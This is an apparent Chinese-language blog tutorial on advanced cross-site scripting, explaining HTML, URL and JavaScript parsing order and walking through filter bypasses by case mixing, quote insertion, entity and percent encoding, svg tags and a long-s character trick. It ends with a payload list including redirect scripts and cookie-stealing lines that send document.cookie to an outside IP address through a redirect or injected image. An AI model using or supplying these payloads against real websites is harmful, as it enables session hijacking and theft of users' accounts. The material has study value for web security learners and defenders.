XSS进阶版

XSS进阶版

01

1 原理

虽然之前写过,但并不全(是水文),而这期进阶版,其中几个概念必须得先说一下

1 html字符实体

为什么要讲这个呢,因为HTML中有些字符是和关键词冲突的,比如<、>、&,解码之后,浏览器会误认为它们是标签

php其中有个函数  htmlspecialchars() 函数就是将一些会产生歧义的符号转移成实体编号,对xss起到了防护作用。

2 解析机制

解析一篇HTML文档时主要有三个处理过程:HTML解析,URL解析和JavaScript解析,一般先是HTML解析,后面两个解析看情况而定,但大多数都是HTML解析->URL解析->JavaScript解析

3 服务器与黑客交互机制

之前的文章(水文)说过,可以回去复习一下

https://mp.weixin.qq.com/s?__biz=MzkzMjIxMDU5OA==&mid=2247483772&idx=1&sn=8760c7a4086314a6c1962397ec9539cf&chksm=c25e73b5f529faa36aa9d3dc2bb5e552dfe0959f8c80e11f6c7418749257d1ac2b31ec8faee9&token=1378834015&lang=zh_CN#rd

4 危害

除了以下危害还有很多,感兴趣的面向百度⑧

02

基本概念都说过了,现在就直接进入干货了

绕过过程:

1 大小写绕过

这没啥好说的

<script>alert(zac)</script>

更换成

<ScrIpT>alert(zac)</sCripT>

2 空写绕过

当网站过滤了onerror 过滤了script 这些敏感字符,但是“ 或者 ' 这种符号会变成空可以绕过,例如代码

<img src=zac oner”ror=alert(ZAC)>

3 编码绕过

这是目前来说绕过最常用,使用最多的手段了,利用不同的编码机制去绕过,有几个例子

例1:

<script>alert(“zac”)</scrIpt>

这是利用了unicode编码,将r转换成&#114;来绕过

例2:

如下,经过了Html解析之后,进入href,就开始url解析了,没有把协议给编码,被URL解析器正确识别。然后URL解析器继续解析链接剩下的部分,最后就会触发xss

<a href='javascript:%61%6c%65%72%74%28%31%29'></a>

%61%6c%65%72%74%28%31%29这行payload解码就会变为alert(1)

例3

我们来按照浏览器的规律,解析一下

<a

href='javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(zac)'>

</a>

第一次html解析

第二次url解析

第三次js解析(unicode)

例4  <svg>标签

当我们的payload的是:

<script>alert(1)</script>

可以发现,浏览器屁反应都没有

但是当我们在payload的前加上<svg>的时候

可以发现,界面弹窗了,这是为啥呢

这是因为解析到<svg>标签时,浏览器就开始使用一套新的标准开始解析后面的内容,直到碰到闭合标签</svg>。而在这一套新的标准遵循XML解析规则,在XML中实体编码会自动转义,重新来一遍标签开启状态,此时就会执行xss了。

4 小型实战

我们先来看一下代码

当我们输入<script>alert(zac)</script>时

会输出<_SCRIPT>ALERT(ZAC)

可以看到,这个过滤机制就是利用strupper函数,将字符串变成大写,这是我们要考虑的第一个问题,第二个就是在<符号后面加了_,这是第二个问题,解决这两个问题,我们才能正常的弹出xss

js是区分大小写的,所以直接在标签内写弹窗脚本是不太可行的,但是我们可以直接引入外部的js,比如<script src=ZZZZAAACCC></script>,这就可以绕过

那么下斜杠怎么办呢?

因为后台匹配的是<符号后面接上正常的字母,如果使用的是不正常的英文字母呢?这里刚好有另外一个条件就是转化大写的这个操作,这个操作很妙,因为HTML标签是不区分大小写的,这样我们使用下图的这个拉丁字母,当转化成大写的话就刚好是S

所以最后的payload就是

<ſcript src=XXXX></script>

这样我们就可以绕过啦

5 一些xss的payload

1 网站跳转

<script>window.location.href='https://www.ZACURL.com'</script>

<meta content='1;http://www.ZACURL.com/' http-equiv='refresh'>

2 cookie盗取

<script>window.location.href='http://1.1.1.1/?msg='+escape(document.cookie)</script>

<script>document.body.appendChild(document.createElement('img')).src='http://1.1.1.1/?msg='+escape(document.cookie)</script>

3 不同的弹窗

后记

顺便提一嘴,我们学校的纸面渗透授权书已经在要了,等要到了有想锻炼的dd我

然后我文章里那个输入法,就是怕别人盗图恶心我整的,我爱阿狸!耶!

(0)

相关推荐